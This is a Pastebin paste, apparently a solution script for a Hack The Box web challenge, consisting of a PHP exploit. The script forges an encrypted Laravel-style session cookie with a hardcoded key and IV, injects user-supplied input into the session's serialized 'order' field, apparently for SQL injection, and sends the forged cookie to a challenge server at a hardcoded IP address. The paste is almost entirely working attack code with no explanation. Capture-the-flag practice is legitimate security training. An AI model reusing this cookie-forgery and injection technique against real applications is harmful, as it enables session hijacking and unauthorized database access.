Mr_hEx

HTB WEB challange

Feb 13th, 2021 (edited)
132
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.85 KB | None | 0 0
  1. <?php
  2.  
  3. $xx = "id->".$_GET['ID'];
  4. #$xx = "id".$_GET['ID'];
  5.  
  6. function Encrypt_cookie($injection){
  7.  
  8. $injection_len = strlen($injection);
  9. $iv = base64_decode("NCrxoY38UWcSzNwpDAiL0g==");
  10. $API_key = "T1wpqsiM32225Qj3WZEY8uIThwkkeuk2Yh4BfIapo6U=";
  11. $cipher = 'AES-256-CBC';
  12. $encrypt = '{"data":"a:6:{s:6:\"_token\";s:40:\"5S4EdcFhvZRyyfHN3MfWTSvdacuXJrBm4EUCKOE1\";s:8:\"username\";s:8:\"guestdaf\";s:5:\"order\";s:'.$injection_len.':\"'.$injection.'\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\/\/178.62.107.35:32168\/api\/configs\";}}","expires":1613210637}';
  13. $value = openssl_encrypt($encrypt, $cipher, base64_decode($API_key), 0, $iv);
  14. $iv = base64_encode($iv);
  15. $mac = hash_hmac('sha256', $iv.$value, base64_decode($API_key));
  16. $json = json_encode(compact('iv', 'value', 'mac'));
  17. if (json_last_error() !== JSON_ERROR_NONE) {
  18. echo "Could not json encode data." ;
  19. exit();
  20. }
  21. $encodedPayload = urlencode(base64_encode($json));
  22. #echo $encodedPayload;
  23. return $encodedPayload;
  24. }
  25.  
  26.  
  27.  
  28. function connect($INJ){
  29.  
  30. $opts = [
  31. "http" => [
  32. "method" => "GET",
  33. "header" => "Accept-language: en\r\n" .
  34. "Cookie: nginxatsu_session= eyJpdiI6IlZwaTZ2aFpTK0ZHXC82UktBQUR3K2tBPT0iLCJ2YWx1ZSI6IkhyM1M2NWRBYys0TFVPMVwvM2thVFhmN1ZSbkFPelNRMldXRTRwNHhWdmFXdFJmdjJlVEJvakloVnJrODJZbjVUIiwibWFjIjoiNTJmZDhkNGJhYWI4NzU0YTE5MmY0ZDU5OTE4OTJlZWU1YmNkYzE4MDYzMmJiZjJhZTVhNWI1ODhiNWI1ZDBmYSJ9; iIjzgRNxKtccRXLIAZRxww050hcSY39ywBNHZoI4=".Encrypt_cookie($INJ)."\r\n"
  35. ]
  36. ];
  37.  
  38.  
  39. $context = stream_context_create($opts);
  40. #echo $opts['http'];
  41. $file = file_get_contents('http://206.189.121.131:31942/api/configs', false, $context);
  42. echo $file;
  43. }
  44. connect($xx);
  45.  
Add Comment
Please, Sign In to add comment